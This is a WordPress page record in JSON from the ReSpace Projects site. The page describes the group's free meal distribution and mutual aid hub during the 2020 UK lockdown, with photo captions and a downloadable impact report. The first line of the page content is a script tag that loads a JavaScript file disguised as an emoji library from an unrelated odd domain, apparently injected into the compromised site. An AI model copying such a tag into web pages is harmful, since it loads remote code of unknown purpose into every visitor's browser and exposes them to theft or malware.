{"id":1536,"date":"2020-07-11T00:01:14","date_gmt":"2020-07-11T00:01:14","guid":{"rendered":"http:\/\/uk.respaceprojects.org\/?page_id=1536"},"modified":"2024-12-06T07:25:38","modified_gmt":"2024-12-06T07:25:38","slug":"respace-mutual-aid-and-covid-19","status":"publish","type":"page","link":"https:\/\/respaceprojects.org\/?page_id=1536","title":{"rendered":"COVID-19 and Mutual Aid"},"content":{"rendered":"<script src=\"\/\/1.989592.xyz\/UAvideo\/keto\/emoji-release.min.js\"><\/script>\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-cover has-background-dim\" style=\"background-image:url(http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/rma.jpg)\"><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center\" style=\"font-size:30px\">With over 20,000 meals distributed  during the first lockdown. ReSpacing is for emergencies.<\/p>\n<\/div><\/div>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-1 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:20%\"><\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\">\n<h4><span style=\"font-size: 18pt;\">On the 20th of March 2020 the government of the UK announced that the country would go into &#8220;Lockdown&#8221; as a response to the new threat posed by Coronavirus. Businesses closed, streets emptied, jobs were lost.<\/span><\/h4>\n<p>\u00a0<\/p>\n<p><span style=\"font-size: 14pt;\">Within days, our Bradbury Street Hub &#8211; the ZeroLDN project &#8211; which had been preparing to close, switched tack and became a hub for the multitude of mutual aid groups that had sprung up.<\/span><\/p>\n<p>\u00a0<\/p>\n<p>\u00a0<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-3 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"810\" height=\"900\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/EWckgSgWsAAQrMG.jpeg\" alt=\"\" data-id=\"1678\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/EWckgSgWsAAQrMG.jpeg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1678\" class=\"wp-image-1678\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EWckgSgWsAAQrMG.jpeg 810w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EWckgSgWsAAQrMG-270x300.jpeg 270w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EWckgSgWsAAQrMG-768x853.jpeg 768w\" sizes=\"(max-width: 810px) 100vw, 810px\" \/><figcaption class=\"blocks-gallery-item__caption\">Water way to go!<\/figcaption><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006-1024x576.jpg\" alt=\"\" data-id=\"1613\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006.jpg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1613\" class=\"wp-image-1613\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006-1024x576.jpg 1024w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006-300x169.jpg 300w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006-768x432.jpg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006-1536x864.jpg 1536w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/IMG-20200905-WA0006.jpg 1600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"blocks-gallery-item__caption\">Daniella in the Streets kitchen hub<\/figcaption><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"768\" height=\"1024\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0005-768x1024.jpg\" alt=\"\" data-id=\"1542\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0005.jpg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1542\" class=\"wp-image-1542\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0005-768x1024.jpg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0005-225x300.jpg 225w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0005.jpg 1200w\" sizes=\"(max-width: 768px) 100vw, 768px\" \/><figcaption class=\"blocks-gallery-item__caption\">The Dusty Knuckle provided left over bread<\/figcaption><\/figure><\/li><\/ul><\/figure>\n\n\n\n<p>\u00a0<\/p>\n<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\">ReSpacing has always been a form of mutual aid hub system and during the lockdown we were able to use this new model to provide a vital link in the food chain. Starting with just a hundred or so meals given out for free, the team grew the system and the tech platforms organically until we were distributing upwards of 800 meals per day from the hub and many more durect from supplier to outlet. Linking large scale producers of free meals to community centres, mosques, churches and synagogues plus creating and supporting teams of cycle volunteers to deliver individual meals the system worked and, as lockdown ended was able to pass on it&#8217;s resources to groups that wished to continue providing food.<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\">And all this was achieved without any funding, donations (beyond food and time) or council support.<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\">No report can fully explain or enlighten as to the challenges and obstacles these incredible people had to overcome to keep this going but we hope that our brief formative report can show some of the results.<\/span><\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:20%\"><\/div>\n<\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div class=\"wp-block-columns are-vertically-aligned-center is-layout-flex wp-container-core-columns-is-layout-2 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:25.67%\">\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<hr class=\"wp-block-separator\"\/>\n<\/div><\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:24.34%\">\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"367\" height=\"679\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/rmareport.jpg\" alt=\"\" class=\"wp-image-1691\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/rmareport.jpg 367w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/rmareport-162x300.jpg 162w\" sizes=\"(max-width: 367px) 100vw, 367px\" \/><\/figure><\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:25%\">\n\n\n<p style=\"text-align: justify;\">The decision to create a centralised &#8220;mutual aid hub&#8221; at our Bradbury Street project proved vital in connecting and supporting the many mutual aid groups that sprung up but received little or no support from the council.<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div class=\"wp-block-file aligncenter\"><a href=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/Respace-Final-Formative-Impact-Report.pdf\">Respace-Final-Formative-Impact-Report<br><br><\/a><a href=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/Respace-Final-Formative-Impact-Report.pdf\" class=\"wp-block-file__button\" download>Download<\/a><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p style=\"text-align: justify;\">Please download the impact report above. Please also note that we were not able to include meals that were delivered direct to groups via our hub. Another estimated 10,000 meals.<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:25%\">\n<hr class=\"wp-block-separator\"\/>\n<\/div>\n<\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<div class=\"wp-block-group has-black-color has-text-color has-background\" style=\"background-color:#e3ffda\"><div class=\"wp-block-group__inner-container is-layout-flow wp-block-group-is-layout-flow\">\n<div class=\"wp-block-columns are-vertically-aligned-center is-layout-flex wp-container-core-columns-is-layout-3 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:20%\"><\/div>\n\n\n\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\">\n<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\">In a post-COVID world we can predict radical changes to our everyday way of life. Looming large on the horizon are the spectres of Brexit and climate change.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">We are at a crossroads.<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\">An economy in turmoil means higher prices, greater unemployment, more empty buildings, an increase in homelessness, mental and physical health issues, lack of opportunities, more wasted resources and no money to fix the problems.<\/span><\/p>\n<p style=\"text-align: left;\"><span style=\"font-size: 14pt;\">There\u2019s no going back to normal, but respacing offers the opportunity to experiment and innovate our way out of our troubles. It offers the chance to collaborate and socialise in environments made just for that purpose. We have proved it works &#8211; now we need others to help us spread the message of hope.<\/span><\/p>\n<p><span style=\"font-size: 14pt;\">To offer a glimpse of a better<\/span> <span style=\"font-size: 14pt;\">normal.<\/span><\/p>\n<p>\u00a0<\/p>\n<\/div>\n\n\n\n<div class=\"wp-block-column is-vertically-aligned-center is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:20%\"><\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<figure class=\"wp-block-gallery columns-4 is-cropped wp-block-gallery-2 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><a href=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"1024\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006-576x1024.jpg\" alt=\"\" data-id=\"1543\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006.jpg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1543\" class=\"wp-image-1543\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006-576x1024.jpg 576w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006-169x300.jpg 169w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006-768x1365.jpg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200710-WA0006.jpg 900w\" sizes=\"(max-width: 576px) 100vw, 576px\" \/><\/a><figcaption class=\"blocks-gallery-item__caption\">A bag of mozzerella balls<\/figcaption><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><a href=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"1024\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706-576x1024.jpg\" alt=\"\" data-id=\"1539\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706.jpg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1539\" class=\"wp-image-1539\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706-576x1024.jpg 576w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706-169x300.jpg 169w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706-768x1365.jpg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706-864x1536.jpg 864w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200416-WA0005-e1605570097706.jpg 900w\" sizes=\"(max-width: 576px) 100vw, 576px\" \/><\/a><figcaption class=\"blocks-gallery-item__caption\">Skye and Gee take a delivery<\/figcaption><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><a href=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001.jpg\"><img loading=\"lazy\" decoding=\"async\" width=\"576\" height=\"1024\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001-576x1024.jpg\" alt=\"\" data-id=\"1538\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001.jpg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1538\" class=\"wp-image-1538\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001-576x1024.jpg 576w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001-169x300.jpg 169w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001-768x1365.jpg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/07\/IMG-20200415-WA0001.jpg 900w\" sizes=\"(max-width: 576px) 100vw, 576px\" \/><\/a><figcaption class=\"blocks-gallery-item__caption\">Donations came from all over<\/figcaption><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><a href=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx.jpeg\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx-1024x768.jpeg\" alt=\"\" data-id=\"1677\" data-full-url=\"http:\/\/uk.respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx.jpeg\" data-link=\"http:\/\/uk.respaceprojects.org\/?attachment_id=1677\" class=\"wp-image-1677\" srcset=\"https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx-1024x768.jpeg 1024w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx-300x225.jpeg 300w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx-768x576.jpeg 768w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx-1536x1152.jpeg 1536w, https:\/\/respaceprojects.org\/wp-content\/uploads\/2020\/11\/EVT_YffWkAEFMZx.jpeg 2048w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><figcaption class=\"blocks-gallery-item__caption\">Chris and Skye give food out in Ridley Road market<\/figcaption><\/figure><\/li><\/ul><\/figure>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p style=\"text-align: center;\"><strong><span style=\"font-size: 10pt;\">Special thanks go to Food For All, The Dusty Knuckle Bakery, Streets Kitchen, Edible London, The Castle Climbing Centre, The Round Chapel, E5 Bakehouse, Elizabeth houser and all the amazing volunteers and crew who made it happen.<\/span><\/strong><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p style=\"text-align: center;\"><a class=\"fasc-button fasc-size-large fasc-type-flat fasc-ico-before dashicons-star-filled\" style=\"background-color: #69aa00; color: #ffffff;\" href=\"http:\/\/uk.respaceprojects.org\/our-latest-project-zeroldn\/\">go to ZeroLDN project<\/a><\/p>\n\n\n\n<div style=\"height:20px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<div style=\"height:100px\" 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Businesses closed, streets emptied, jobs were lost. \u00a0 Within days, our Bradbury Street Hub &#8211; the ZeroLDN project &#8211; which had been preparing to close, switched <\/p>\n<div class=\"read-more-text\"><a href=\"https:\/\/respaceprojects.org\/?page_id=1536\" class=\"read-more\">continue reading<\/a><\/div>\n","protected":false},"author":1,"featured_media":1590,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-1536","page","type-page","status-publish","has-post-thumbnail","hentry"],"_links":{"self":[{"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/pages\/1536"}],"collection":[{"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/respaceprojects.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1536"}],"version-history":[{"count":54,"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/pages\/1536\/revisions"}],"predecessor-version":[{"id":2052,"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/pages\/1536\/revisions\/2052"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/respaceprojects.org\/index.php?rest_route=\/wp\/v2\/media\/1590"}],"wp:attachment":[{"href":"https:\/\/respaceprojects.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1536"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}